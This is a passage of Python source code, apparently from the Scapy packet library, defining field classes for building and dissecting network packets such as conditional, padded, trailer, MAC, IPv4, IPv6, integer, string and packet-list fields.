__slots__ = ["fld", "_action_method", "_privdata"] def __init__(self, fld, action_method, **kargs): # type: (Field[Any, Any], str, **Any) -> None self.fld = fld self._action_method = action_method self._privdata = kargs def any2i(self, pkt, val): # type: (Optional[Packet], int) -> Any getattr(pkt, self._action_method)(val, self.fld, **self._privdata) return getattr(self.fld, "any2i")(pkt, val) class ConditionalField(_FieldContainer): __slots__ = ["fld", "cond"] def __init__(self, fld, # type: AnyField cond # type: Callable[[Packet], bool] ): # type: (...) -> None self.fld = fld self.cond = cond def _evalcond(self, pkt): # type: (Packet) -> bool return bool(self.cond(pkt)) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Any # BACKWARD COMPATIBILITY # Note: we shouldn't need this function. (it's not correct) # However, having i2h implemented (#2364), it changes the default # behavior and broke all packets that wrongly use two ConditionalField # with the same name. Those packets are the problem: they are wrongly # built (they should either be reusing the same conditional field, or # using a MultipleTypeField). # But I don't want to dive into fixing all of them just yet, # so for now, let's keep this this way, even though it's not correct. if type(self.fld) is Field: return x return self.fld.any2i(pkt, x) def i2h(self, pkt, val): # type: (Optional[Packet], Any) -> Any if pkt and not self._evalcond(pkt): return None return self.fld.i2h(pkt, val) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, Any] if self._evalcond(pkt): return self.fld.getfield(pkt, s) else: return s, None def addfield(self, pkt, s, val): # type: (Packet, bytes, Any) -> bytes if self._evalcond(pkt): return self.fld.addfield(pkt, s, val) else: return s def __getattr__(self, attr): # type: (str) -> Any return getattr(self.fld, attr) class MultipleTypeField(_FieldContainer): """ MultipleTypeField are used for fields that can be implemented by various Field subclasses, depending on conditions on the packet. It is initialized with `flds` and `dflt`. :param dflt: is the default field type, to be used when none of the conditions matched the current packet. :param flds: is a list of tuples (`fld`, `cond`) or (`fld`, `cond`, `hint`) where `fld` if a field type, and `cond` a "condition" to determine if `fld` is the field type that should be used. ``cond`` is either: - a callable `cond_pkt` that accepts one argument (the packet) and returns True if `fld` should be used, False otherwise. - a tuple (`cond_pkt`, `cond_pkt_val`), where `cond_pkt` is the same as in the previous case and `cond_pkt_val` is a callable that accepts two arguments (the packet, and the value to be set) and returns True if `fld` should be used, False otherwise. See scapy.layers.l2.ARP (type "help(ARP)" in Scapy) for an example of use. """ __slots__ = ["flds", "dflt", "hints", "name", "default"] def __init__( self, flds: List[Union[ Tuple[Field[Any, Any], Any, str], Tuple[Field[Any, Any], Any] ]], dflt: Field[Any, Any] ) -> None: self.hints = { x[0]: x[2] for x in flds if len(x) == 3 } self.flds = [ (x[0], x[1]) for x in flds ] self.dflt = dflt self.default = None # So that we can detect changes in defaults self.name = self.dflt.name if any(x[0].name != self.name for x in self.flds): warnings.warn( ("All fields should have the same name in a " "MultipleTypeField (%s). Use hints.") % self.name, SyntaxWarning ) def _iterate_fields_cond(self, pkt, val, use_val): # type: (Optional[Packet], Any, bool) -> Field[Any, Any] """Internal function used by _find_fld_pkt & _find_fld_pkt_val""" # Iterate through the fields for fld, cond in self.flds: if isinstance(cond, tuple): if use_val: if val is None: val = self.dflt.default if cond[1](pkt, val): return fld continue else: cond = cond[0] if cond(pkt): return fld return self.dflt def _find_fld_pkt(self, pkt): # type: (Optional[Packet]) -> Field[Any, Any] """Given a Packet instance `pkt`, returns the Field subclass to be used. If you know the value to be set (e.g., in .addfield()), use ._find_fld_pkt_val() instead. """ return self._iterate_fields_cond(pkt, None, False) def _find_fld_pkt_val(self, pkt, # type: Optional[Packet] val, # type: Any ): # type: (...) -> Tuple[Field[Any, Any], Any] """Given a Packet instance `pkt` and the value `val` to be set, returns the Field subclass to be used, and the updated `val` if necessary. """ fld = self._iterate_fields_cond(pkt, val, True) if val is None: val = fld.default return fld, val def _find_fld(self): # type: () -> Field[Any, Any] """Returns the Field subclass to be used, depending on the Packet instance, or the default subclass. DEV: since the Packet instance is not provided, we have to use a hack to guess it. It should only be used if you cannot provide the current Packet instance (for example, because of the current Scapy API). If you have the current Packet instance, use ._find_fld_pkt_val() (if the value to set is also known) of ._find_fld_pkt() instead. """ # Hack to preserve current Scapy API # See https://stackoverflow.com/a/7272464/3223422 frame = inspect.currentframe().f_back.f_back # type: ignore while frame is not None: try: pkt = frame.f_locals['self'] except KeyError: pass else: if isinstance(pkt, tuple(self.dflt.owners)): if not pkt.default_fields: # Packet not initialized return self.dflt return self._find_fld_pkt(pkt) frame = frame.f_back return self.dflt def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, Any] return self._find_fld_pkt(pkt).getfield(pkt, s) def addfield(self, pkt, s, val): # type: (Packet, bytes, Any) -> bytes fld, val = self._find_fld_pkt_val(pkt, val) return fld.addfield(pkt, s, val) def any2i(self, pkt, val): # type: (Optional[Packet], Any) -> Any fld, val = self._find_fld_pkt_val(pkt, val) return fld.any2i(pkt, val) def h2i(self, pkt, val): # type: (Optional[Packet], Any) -> Any fld, val = self._find_fld_pkt_val(pkt, val) return fld.h2i(pkt, val) def i2h(self, pkt, # type: Packet val, # type: Any ): # type: (...) -> Any fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2h(pkt, val) def i2m(self, pkt, val): # type: (Optional[Packet], Optional[Any]) -> Any fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2m(pkt, val) def i2len(self, pkt, val): # type: (Packet, Any) -> int fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2len(pkt, val) def i2repr(self, pkt, val): # type: (Optional[Packet], Any) -> str fld, val = self._find_fld_pkt_val(pkt, val) hint = "" if fld in self.hints: hint = " (%s)" % self.hints[fld] return fld.i2repr(pkt, val) + hint def register_owner(self, cls): # type: (Type[Packet]) -> None for fld, _ in self.flds: fld.owners.append(cls) self.dflt.owners.append(cls) def get_fields_list(self): # type: () -> List[Any] return [self] @property def fld(self): # type: () -> Field[Any, Any] return self._find_fld() class PadField(_FieldContainer): """Add bytes after the proxified field so that it ends at the specified alignment from its beginning""" __slots__ = ["fld", "_align", "_padwith"] def __init__(self, fld, align, padwith=None): # type: (AnyField, int, Optional[bytes]) -> None self.fld = fld self._align = align self._padwith = padwith or b"\x00" def padlen(self, flen, pkt): # type: (int, Packet) -> int return -flen % self._align def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, Any] remain, val = self.fld.getfield(pkt, s) padlen = self.padlen(len(s) - len(remain), pkt) return remain[padlen:], val def addfield(self, pkt, # type: Packet s, # type: bytes val, # type: Any ): # type: (...) -> bytes sval = self.fld.addfield(pkt, b"", val) return s + sval + ( self.padlen(len(sval), pkt) * self._padwith ) class ReversePadField(PadField): """Add bytes BEFORE the proxified field so that it starts at the specified alignment from its beginning""" def original_length(self, pkt): # type: (Packet) -> int return len(pkt.original) def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, Any] # We need to get the length that has already been dissected padlen = self.padlen(self.original_length(pkt) - len(s), pkt) return self.fld.getfield(pkt, s[padlen:]) def addfield(self, pkt, # type: Packet s, # type: bytes val, # type: Any ): # type: (...) -> bytes sval = self.fld.addfield(pkt, b"", val) return s + struct.pack("%is" % ( self.padlen(len(s), pkt) ), self._padwith) + sval class TrailerBytes(bytes): """ Reverses slice operations to take from the back of the packet, not the front """ def __getitem__(self, item): # type: ignore # type: (Union[int, slice]) -> Union[int, bytes] if isinstance(item, int): if item < 0: item = 1 + item else: item = len(self) - 1 - item elif isinstance(item, slice): start, stop, step = item.start, item.stop, item.step new_start = -stop if stop else None new_stop = -start if start else None item = slice(new_start, new_stop, step) return super(self.__class__, self).__getitem__(item) class TrailerField(_FieldContainer): """Special Field that gets its value from the end of the *packet* (Note: not layer, but packet). Mostly used for FCS """ __slots__ = ["fld"] def __init__(self, fld): # type: (Field[Any, Any]) -> None self.fld = fld # Note: this is ugly. Very ugly. # Do not copy this crap elsewhere, so that if one day we get # brave enough to refactor it, it'll be easier. def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, int] previous_post_dissect = pkt.post_dissect def _post_dissect(self, s): # type: (Packet, bytes) -> bytes # Reset packet to allow post_build self.raw_packet_cache = None self.post_dissect = previous_post_dissect # type: ignore return previous_post_dissect(s) pkt.post_dissect = MethodType(_post_dissect, pkt) # type: ignore s = TrailerBytes(s) s, val = self.fld.getfield(pkt, s) return bytes(s), val def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[int]) -> bytes previous_post_build = pkt.post_build value = self.fld.addfield(pkt, b"", val) def _post_build(self, p, pay): # type: (Packet, bytes, bytes) -> bytes pay += value self.post_build = previous_post_build # type: ignore return previous_post_build(p, pay) pkt.post_build = MethodType(_post_build, pkt) # type: ignore return s class FCSField(TrailerField): """ A FCS field that gets appended at the end of the *packet* (not layer). """ def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None super(FCSField, self).__init__(Field(*args, **kwargs)) def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return lhex(self.i2h(pkt, x)) class DestField(Field[str, bytes]): __slots__ = ["defaultdst"] # Each subclass must have its own bindings attribute bindings = {} # type: Dict[Type[Packet], Tuple[str, Any]] def __init__(self, name, default): # type: (str, str) -> None self.defaultdst = default def dst_from_pkt(self, pkt): # type: (Packet) -> str for addr, condition in self.bindings.get(pkt.payload.__class__, []): try: if all(pkt.payload.getfieldval(field) == value for field, value in condition.items()): return addr # type: ignore except AttributeError: pass return self.defaultdst @classmethod def bind_addr(cls, layer, addr, **condition): # type: (Type[Packet], str, **Any) -> None cls.bindings.setdefault(layer, []).append( # type: ignore (addr, condition) ) class MACField(Field[Optional[str], bytes]): def __init__(self, name, default): # type: (str, Optional[Any]) -> None Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> bytes if not x: return b"\0\0\0\0\0\0" try: y = mac2str(x) except (struct.error, OverflowError, ValueError): y = bytes_encode(x) return y def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> str return str2mac(x) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> str if isinstance(x, bytes) and len(x) == 6: return self.m2i(pkt, x) return cast(str, x) def i2repr(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> str x = self.i2h(pkt, x) if x is None: return repr(x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): # type: () -> RandMAC return RandMAC() class LEMACField(MACField): def i2m(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> bytes return MACField.i2m(self, pkt, x)[::-1] def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> str return MACField.m2i(self, pkt, x[::-1]) class IPField(Field[Union[str, Net], bytes]): def __init__(self, name, default): # type: (str, Optional[str]) -> None Field.__init__(self, name, default, "4s") def h2i(self, pkt, x): # type: (Optional[Packet], Union[AnyStr, List[AnyStr]]) -> Any if isinstance(x, bytes): x = plain_str(x) # type: ignore if isinstance(x, _ScopedIP): return x elif isinstance(x, str): x = ScopedIP(x) try: inet_aton(x) except socket.error: return Net(x) elif isinstance(x, tuple): if len(x) != 2: raise ValueError("Invalid IP format") return Net(*x) elif isinstance(x, list): return [self.h2i(pkt, n) for n in x] return x def i2h(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net]]) -> str return cast(str, x) def resolve(self, x): # type: (str) -> str if self in conf.resolve: try: ret = socket.gethostbyaddr(x)[0] except Exception: pass else: if ret: return ret return x def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes if x is None: return b'\x00\x00\x00\x00' return inet_aton(plain_str(x)) def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> str return inet_ntoa(x) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Any return self.h2i(pkt, x) def i2repr(self, pkt, x): # type: (Optional[Packet], Union[str, Net]) -> str if isinstance(x, _ScopedIP) and x.scope: return repr(x) r = self.resolve(self.i2h(pkt, x)) return r if isinstance(r, str) else repr(r) def randval(self): # type: () -> RandIP return RandIP() class SourceIPField(IPField): def __init__(self, name): # type: (str) -> None IPField.__init__(self, name, None) def __findaddr(self, pkt): # type: (Packet) -> Optional[str] if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 return pkt.route()[1] or conf.route.route()[1] def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes if x is None and pkt is not None: x = self.__findaddr(pkt) return super(SourceIPField, self).i2m(pkt, x) def i2h(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net]]) -> str if x is None and pkt is not None: x = self.__findaddr(pkt) return super(SourceIPField, self).i2h(pkt, x) class IP6Field(Field[Optional[Union[str, Net6]], bytes]): def __init__(self, name, default): # type: (str, Optional[str]) -> None Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): # type: (Optional[Packet], Any) -> str if isinstance(x, bytes): x = plain_str(x) if isinstance(x, _ScopedIP): return x elif isinstance(x, str): x = ScopedIP(x) try: x = ScopedIP(in6_ptop(x), scope=x.scope) except socket.error: return Net6(x) # type: ignore elif isinstance(x, tuple): if len(x) != 2: raise ValueError("Invalid IPv6 format") return Net6(*x) # type: ignore elif isinstance(x, list): x = [self.h2i(pkt, n) for n in x] return x # type: ignore def i2h(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str return cast(str, x) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes if x is None: x = "::" return inet_pton(socket.AF_INET6, plain_str(x)) def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> str return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> str return self.h2i(pkt, x) def i2repr(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str if x is None: return self.i2h(pkt, x) elif not isinstance(x, Net6) and not isinstance(x, list): if in6_isaddrTeredo(x): # print Teredo info server, _, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr, mport) # noqa: E501 elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) elif isinstance(x, _ScopedIP) and x.scope: return repr(x) r = self.i2h(pkt, x) # No specific information to return return r if isinstance(r, str) else repr(r) def randval(self): # type: () -> RandIP6 return RandIP6() class SourceIP6Field(IP6Field): def __init__(self, name): # type: (str) -> None IP6Field.__init__(self, name, None) def __findaddr(self, pkt): # type: (Packet) -> Optional[str] if conf.route6 is None: # unused import, only to initialize conf.route import scapy.route6 # noqa: F401 return pkt.route()[1] def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes if x is None and pkt is not None: x = self.__findaddr(pkt) return super(SourceIP6Field, self).i2m(pkt, x) def i2h(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str if x is None and pkt is not None: x = self.__findaddr(pkt) return super(SourceIP6Field, self).i2h(pkt, x) class DestIP6Field(IP6Field, DestField): bindings = {} # type: Dict[Type[Packet], Tuple[str, Any]] def __init__(self, name, default): # type: (str, str) -> None IP6Field.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes if x is None and pkt is not None: x = self.dst_from_pkt(pkt) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str if x is None and pkt is not None: x = self.dst_from_pkt(pkt) return super(DestIP6Field, self).i2h(pkt, x) class ByteField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "B") class XByteField(ByteField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return lhex(self.i2h(pkt, x)) # XXX Unused field: at least add some tests class OByteField(ByteField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return "%03o" % self.i2h(pkt, x) class ThreeBytesField(Field[int, int]): def __init__(self, name, default): # type: (str, int) -> None Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[int]) -> bytes return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, int] return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 class X3BytesField(ThreeBytesField, XByteField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return XByteField.i2repr(self, pkt, x) class LEThreeBytesField(ByteField): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, " bytes return s + struct.pack(self.fmt, self.i2m(pkt, val))[:3] def getfield(self, pkt, s): # type: (Optional[Packet], bytes) -> Tuple[bytes, int] return s[3:], self.m2i(pkt, struct.unpack(self.fmt, s[:3] + b"\x00")[0]) # noqa: E501 class XLE3BytesField(LEThreeBytesField, XByteField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return XByteField.i2repr(self, pkt, x) def LEX3BytesField(*args, **kwargs): # type: (*Any, **Any) -> Any warnings.warn( "LEX3BytesField is deprecated. Use XLE3BytesField", DeprecationWarning ) return XLE3BytesField(*args, **kwargs) class NBytesField(Field[int, List[int]]): def __init__(self, name, default, sz): # type: (str, Optional[int], int) -> None Field.__init__(self, name, default, "<" + "B" * sz) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[int]) -> List[int] if x is None: return [0] * self.sz x2m = list() for _ in range(self.sz): x2m.append(x % 256) x //= 256 return x2m[::-1] def m2i(self, pkt, x): # type: (Optional[Packet], Union[List[int], int]) -> int if isinstance(x, int): return x # x can be a tuple when coming from struct.unpack (from getfield) if isinstance(x, (list, tuple)): return sum(d * (256 ** i) for i, d in enumerate(reversed(x))) return 0 def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str if isinstance(x, int): return '%i' % x return super(NBytesField, self).i2repr(pkt, x) def addfield(self, pkt, s, val): # type: (Optional[Packet], bytes, Optional[int]) -> bytes return s + self.struct.pack(*self.i2m(pkt, val)) def getfield(self, pkt, s): # type: (Optional[Packet], bytes) -> Tuple[bytes, int] return (s[self.sz:], self.m2i(pkt, self.struct.unpack(s[:self.sz]))) # type: ignore def randval(self): # type: () -> RandNum return RandNum(0, 2 ** (self.sz * 8) - 1) class XNBytesField(NBytesField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str if isinstance(x, int): return '0x%x' % x # x can be a tuple when coming from struct.unpack (from getfield) if isinstance(x, (list, tuple)): return "0x" + "".join("%02x" % b for b in x) return super(XNBytesField, self).i2repr(pkt, x) class SignedByteField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "b") class FieldValueRangeException(Scapy_Exception): pass class MaximumItemsCount(Scapy_Exception): pass class FieldAttributeException(Scapy_Exception): pass class YesNoByteField(ByteField): """ A byte based flag field that shows representation of its number based on a given association In its default configuration the following representation is generated: x == 0 : 'no' x != 0 : 'yes' In more sophisticated use-cases (e.g. yes/no/invalid) one can use the config attribute to configure. Key-value, key-range and key-value-set associations that will be used to generate the values representation. - A range is given by a tuple (, ) including the last value. - A single-value tuple is treated as scalar. - A list defines a set of (probably non consecutive) values that should be associated to a given key. All values not associated with a key will be shown as number of type unsigned byte. **For instance**:: config = { 'no' : 0, 'foo' : (1,22), 'yes' : 23, 'bar' : [24,25, 42, 48, 87, 253] } Generates the following representations:: x == 0 : 'no' x == 15: 'foo' x == 23: 'yes' x == 42: 'bar' x == 43: 43 Another example, using the config attribute one could also revert the stock-yes-no-behavior:: config = { 'yes' : 0, 'no' : (1,255) } Will generate the following value representation:: x == 0 : 'yes' x != 0 : 'no' """ __slots__ = ['eval_fn'] def _build_config_representation(self, config): # type: (Dict[str, Any]) -> None assoc_table = dict() for key in config: value_spec = config[key] value_spec_type = type(value_spec) if value_spec_type is int: if value_spec < 0 or value_spec > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_spec)) # noqa: E501 assoc_table[value_spec] = key elif value_spec_type is list: for value in value_spec: if value < 0 or value > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value)) # noqa: E501 assoc_table[value] = key elif value_spec_type is tuple: value_spec_len = len(value_spec) if value_spec_len != 2: raise FieldAttributeException('invalid length {} of given config item tuple {} - must be ' # noqa: E501 '(, ).'.format(value_spec_len, value_spec)) # noqa: E501 value_range_start = value_spec[0] if value_range_start < 0 or value_range_start > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_range_start)) # noqa: E501 value_range_end = value_spec[1] if value_range_end < 0 or value_range_end > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_range_end)) # noqa: E501 for value in range(value_range_start, value_range_end + 1): assoc_table[value] = key self.eval_fn = lambda x: assoc_table[x] if x in assoc_table else x def __init__(self, name, default, config=None): # type: (str, int, Optional[Dict[str, Any]]) -> None if not config: # this represents the common use case and therefore it is kept small # noqa: E501 self.eval_fn = lambda x: 'no' if x == 0 else 'yes' else: self._build_config_representation(config) ByteField.__init__(self, name, default) def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return self.eval_fn(x) # type: ignore class ShortField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "H") class SignedShortField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "h") class LEShortField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, " None Field.__init__(self, name, default, " str return lhex(self.i2h(pkt, x)) class IntField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "I") class SignedIntField(Field[int, int]): def __init__(self, name, default): # type: (str, int) -> None Field.__init__(self, name, default, "i") class LEIntField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, " None Field.__init__(self, name, default, " str return lhex(self.i2h(pkt, x)) class XLEIntField(LEIntField, XIntField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return XIntField.i2repr(self, pkt, x) class XLEShortField(LEShortField, XShortField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return XShortField.i2repr(self, pkt, x) class LongField(Field[int, int]): def __init__(self, name, default): # type: (str, int) -> None Field.__init__(self, name, default, "Q") class SignedLongField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "q") class LELongField(LongField): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, " None Field.__init__(self, name, default, " str return lhex(self.i2h(pkt, x)) class XLELongField(LELongField, XLongField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return XLongField.i2repr(self, pkt, x) class IEEEFloatField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "f") class IEEEDoubleField(Field[int, int]): def __init__(self, name, default): # type: (str, Optional[int]) -> None Field.__init__(self, name, default, "d") class _StrField(Field[I, bytes]): __slots__ = ["remain"] def __init__(self, name, default, fmt="H", remain=0): # type: (str, Optional[I], str, int) -> None Field.__init__(self, name, default, fmt) self.remain = remain def i2len(self, pkt, x): # type: (Optional[Packet], Any) -> int if x is None: return 0 return len(x) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> I if isinstance(x, str): x = bytes_encode(x) return super(_StrField, self).any2i(pkt, x) # type: ignore def i2repr(self, pkt, x): # type: (Optional[Packet], I) -> str if x and isinstance(x, bytes): return repr(x) return super(_StrField, self).i2repr(pkt, x) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[I]) -> bytes if x is None: return b"" if not isinstance(x, bytes): return bytes_encode(x) return x def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[I]) -> bytes return s + self.i2m(pkt, val) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, I] if self.remain == 0: return b"", self.m2i(pkt, s) else: return s[-self.remain:], self.m2i(pkt, s[:-self.remain]) def randval(self): # type: () -> RandBin return RandBin(RandNum(0, 1200)) class StrField(_StrField[bytes]): pass class StrFieldUtf16(StrField): def any2i(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> bytes if isinstance(x, str): return self.h2i(pkt, x) return super(StrFieldUtf16, self).any2i(pkt, x) def i2repr(self, pkt, x): # type: (Optional[Packet], bytes) -> str return plain_str(self.i2h(pkt, x)) def h2i(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> bytes return plain_str(x).encode('utf-16-le', errors="replace") def i2h(self, pkt, x): # type: (Optional[Packet], bytes) -> str return bytes_encode(x).decode('utf-16-le', errors="replace") class _StrEnumField: def __init__(self, **kwargs): # type: (**Any) -> None self.enum = kwargs.pop("enum", {}) def i2repr(self, pkt, v): # type: (Optional[Packet], bytes) -> str r = v.rstrip(b"\0") rr = repr(r) if self.enum: if v in self.enum: rr = "%s (%s)" % (rr, self.enum[v]) elif r in self.enum: rr = "%s (%s)" % (rr, self.enum[r]) return rr class StrEnumField(_StrEnumField, StrField): __slots__ = ["enum"] def __init__( self, name, # type: str default, # type: bytes enum=None, # type: Optional[Dict[str, str]] **kwargs # type: Any ): # type: (...) -> None StrField.__init__(self, name, default, **kwargs) # type: ignore self.enum = enum K = TypeVar('K', List[BasePacket], BasePacket, Optional[BasePacket]) class _PacketField(_StrField[K]): __slots__ = ["cls"] holds_packets = 1 def __init__(self, name, # type: str default, # type: Optional[K] pkt_cls, # type: Union[Callable[[bytes], Packet], Type[Packet]] # noqa: E501 ): # type: (...) -> None super(_PacketField, self).__init__(name, default) self.cls = pkt_cls def i2m(self, pkt, # type: Optional[Packet] i, # type: Any ): # type: (...) -> bytes if i is None: return b"" return raw(i) def m2i(self, pkt, m): # type: ignore # type: (Optional[Packet], bytes) -> Packet try: # we want to set parent wherever possible return self.cls(m, _parent=pkt) # type: ignore except TypeError: return self.cls(m) class _PacketFieldSingle(_PacketField[K]): def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> K if x and pkt and hasattr(x, "add_parent"): cast("Packet", x).add_parent(pkt) return super(_PacketFieldSingle, self).any2i(pkt, x) def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, K] i = self.m2i(pkt, s) remain = b"" if conf.padding_layer in i: r = i[conf.padding_layer] del r.underlayer.payload remain = r.load return remain, i # type: ignore class PacketField(_PacketFieldSingle[BasePacket]): def randval(self): # type: ignore # type: () -> Packet from scapy.packet import fuzz return fuzz(self.cls()) # type: ignore class PacketLenField(_PacketFieldSingle[Optional[BasePacket]]): __slots__ = ["length_from"] def __init__(self, name, # type: str default, # type: Packet cls, # type: Union[Callable[[bytes], Packet], Type[Packet]] # noqa: E501 length_from=None # type: Optional[Callable[[Packet], int]] # noqa: E501 ): # type: (...) -> None super(PacketLenField, self).__init__(name, default, cls) self.length_from = length_from or (lambda x: 0) def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, Optional[BasePacket]] len_pkt = self.length_from(pkt) i = None if len_pkt: try: i = self.m2i(pkt, s[:len_pkt]) except Exception: if conf.debug_dissector: raise i = conf.raw_layer(load=s[:len_pkt]) return s[len_pkt:], i class PacketListField(_PacketField[List[BasePacket]]): """PacketListField represents a list containing a series of Packet instances that might occur right in the middle of another Packet field. This field type may also be used to indicate that a series of Packet instances have a sibling semantic instead of a parent/child relationship (i.e. a stack of layers). All elements in PacketListField have current packet referenced in parent field. """ __slots__ = ["count_from", "length_from", "next_cls_cb", "max_count"] islist = 1 def __init__( self, name, # type: str default, # type: Optional[List[BasePacket]] pkt_cls=None, # type: Optional[Union[Callable[[bytes], Packet], Type[Packet]]] # noqa: E501 count_from=None, # type: Optional[Callable[[Packet], int]] length_from=None, # type: Optional[Callable[[Packet], int]] next_cls_cb=None, # type: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Optional[Type[Packet]]]] # noqa: E501 max_count=None, # type: Optional[int] ): # type: (...) -> None """ The number of Packet instances that are dissected by this field can be parametrized using one of three different mechanisms/parameters: * count_from: a callback that returns the number of Packet instances to dissect. The callback prototype is:: count_from(pkt:Packet) -> int * length_from: a callback that returns the number of bytes that must be dissected by this field. The callback prototype is:: length_from(pkt:Packet) -> int * next_cls_cb: a callback that enables a Scapy developer to dynamically discover if another Packet instance should be dissected or not. See below for this callback prototype. The bytes that are not consumed during the dissection of this field are passed to the next field of the current packet. For the serialization of such a field, the list of Packets that are contained in a PacketListField can be heterogeneous and is unrestricted. The type of the Packet instances that are dissected with this field is specified or discovered using one of the following mechanism: * the pkt_cls parameter may contain a callable that returns an instance of the dissected Packet. This may either be a reference of a Packet subclass (e.g. DNSRROPT in layers/dns.py) to generate an homogeneous PacketListField or a function deciding the type of the Packet instance (e.g. _CDPGuessAddrRecord in contrib/cdp.py) * the pkt_cls parameter may contain a class object with a defined ``dispatch_hook`` classmethod. That method must return a Packet instance. The ``dispatch_hook`` callmethod must implement the following prototype:: dispatch_hook(cls, _pkt:Optional[Packet], *args, **kargs ) -> Type[Packet] The _pkt parameter may contain a reference to the packet instance containing the PacketListField that is being dissected. * the ``next_cls_cb`` parameter may contain a callable whose prototype is:: cbk(pkt:Packet, lst:List[Packet], cur:Optional[Packet], remain:bytes, ) -> Optional[Type[Packet]] The pkt argument contains a reference to the Packet instance containing the PacketListField that is being dissected. The lst argument is the list of all Packet instances that were previously parsed during the current ``PacketListField`` dissection, saved for the very last Packet instance. The cur argument contains a reference to that very last parsed ``Packet`` instance. The remain argument contains the bytes that may still be consumed by the current PacketListField dissection operation. This callback returns either the type of the 